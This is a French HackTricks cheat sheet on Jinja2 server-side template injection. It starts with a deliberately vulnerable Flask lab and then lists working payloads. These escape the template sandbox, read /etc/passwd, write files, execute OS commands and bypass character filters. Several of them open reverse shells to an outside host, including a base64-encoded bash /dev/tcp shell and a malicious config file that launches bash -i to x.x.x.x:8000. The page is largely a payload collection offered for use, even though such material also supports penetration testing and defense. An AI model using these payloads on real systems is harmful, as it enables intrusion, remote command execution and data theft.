# Jinja2 SSTI
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## **Lab** ```python from flask import Flask, request, render_template_string app = Flask(__name__) @app.route("/") def home(): if request.args.get('c'): return render_template_string(request.args.get('c')) else: return "Hello, send someting inside the param 'c'!" if __name__ == "__main__": app.run() ``` ### **Déclaration de débogage** Si l'extension de débogage est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur. ```python

{% raw %}
{% debug %}
{% endraw %}



``` ### **Afficher toutes les variables de configuration** Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement) ```python {{ config }} #In these object you can find all the configured env variables {% raw %} {% for key, value in config.items() %}
{{ key|e }}
{{ value|e }}
{% endfor %} {% endraw %} ``` ## **Injection Jinja** Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et de récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'**environnement non-sécurisé mais sont accessibles depuis le bac à sable**. ### Accès aux objets globaux Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement Python non sécurisé** et seront **accessibles** à l'intérieur de l'**environnement sécurisé**.\ De plus, il existe d'autres objets qui seront **toujours accessibles depuis l'environnement sécurisé**, ce sont: ``` [] '' () dict config request ``` ### Récupération de \ Ensuite, à partir de ces objets, nous devons accéder à la classe : **``** afin de tenter de **récupérer** les **classes** définies. Cela est nécessaire car à partir de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non sandboxé**. Pour accéder à cette **classe objet**, vous devez **accéder à un objet de classe** puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous **appelons** **`__subclasses__()`**. Consultez ces exemples : ```python # To access a class object [].__class__ ''.__class__ ()["__class__"] # You can also access attributes like this request["__class__"] config.__class__ dict #It's already a class # From a class to access the class "object". ## "dict" used as example from the previous list: dict.__base__ dict["__base__"] dict.mro()[-1] dict.__mro__[-1] (dict|attr("__mro__"))[-1] (dict|attr("\x5f\x5fmro\x5f\x5f"))[-1] # From the "object" class call __subclasses__() {{ dict.__base__.__subclasses__() }} {{ dict.mro()[-1].__subclasses__() }} {{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }} {% raw %} {% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} # Other examples using these ways {{ ().__class__.__base__.__subclasses__() }} {{ [].__class__.__mro__[-1].__subclasses__() }} {{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }} {{ request.__class__.mro()[-1].__subclasses__() }} {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {% endraw %} # Not sure if this will work, but I saw it somewhere {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }} ``` ### Évasion de RCE **Ayant récupéré** `` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code. L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons heureux simplement en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`). **Lire/Écrire un fichier distant** ```python # ''.__class__.__mro__[1].__subclasses__()[40] = File class {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` **Exécution de code à distance (RCE)** ```python # The class 396 is the class {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} # Without '{{' and '}}' {% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() == 'chiv' %} a {% endif %} # Calling os.popen without guessing the index of the class {% raw %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ## Passing the cmd line in a GET param {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} {% endraw %} ## Passing the cmd line ?cmd=id, Without " and ' {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }} ``` Pour en savoir plus sur **davantage de classes** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier**: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Contournements de filtres #### Contournements courants Ces contournements nous permettront d'**accéder** aux **attributs** des objets **sans utiliser certains caractères**.\ Nous avons déjà vu certains de ces contournements dans les exemples précédents, mais résumons-les ici: ```bash # Without quotes, _, [, ] ## Basic ones request.__class__ request["__class__"] request['\x5f\x5fclass\x5f\x5f'] request|attr("__class__") request|attr(["_"*2, "class", "_"*2]|join) # Join trick ## Using request object options request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also) request|attr(request.args.c) #Send a param like "?c=__class__ request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params ## Lists without "[" and "]" http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ # Using with {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %} {% endraw %} ``` * [**Retournez ici pour plus d'options pour accéder à un objet global**](jinja2-ssti.md#accessing-global-objects) * [**Retournez ici pour plus d'options pour accéder à la classe d'objet**](jinja2-ssti.md#recovering-less-than-class-object-greater-than) * [**Lisez ceci pour obtenir une RCE sans la classe d'objet**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than) **Éviter l'encodage HTML** Par défaut, Flask encode en HTML tout l'intérieur d'un modèle pour des raisons de sécurité: ```python {{''}} #will be <script>alert(1);</script> ``` **Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** qu'ils soient **encodés en HTML**, comme ceci : ```python {{''|safe}} #will be ``` **Exécution de code à distance en écrivant un fichier de configuration malveillant.** ```python # evil config {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} ``` ## Sans plusieurs caractères Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** ```python {% raw %} {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%} {% endraw %} ``` ## Injection Jinja sans **\** À partir des [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre façon d'obtenir une **RCE sans utiliser cette classe.**\ Si vous parvenez à accéder à une **fonction** à partir de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, la **RCE** est très **simple**. Vous pouvez **trouver des fonctions** à partir des objets **`request`**, **`config`** et de tout autre **objet global** intéressant auquel vous avez accès avec : ```bash {{ request.__class__.__dict__ }} - application - _load_form_data - on_json_loading_failed {{ config.__class__.__dict__ }} - __init__ - from_envvar - from_pyfile - from_object - from_file - from_json - from_mapping - get_namespace - __repr__ # You can iterate through children objects to find more ``` Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les fonctions intégrées avec : ```python # Read file {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} # RCE {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }} {{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} {% endraw %} ## Extra ## The global from config have a access to a function called import_string ## with this function you don't need to access the builtins {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} # All the bypasses seen in the previous sections are also valid ``` ## Références * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) * Vérifiez [l'astuce d'attribut pour contourner les caractères interdits ici](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3). * [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113) * [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.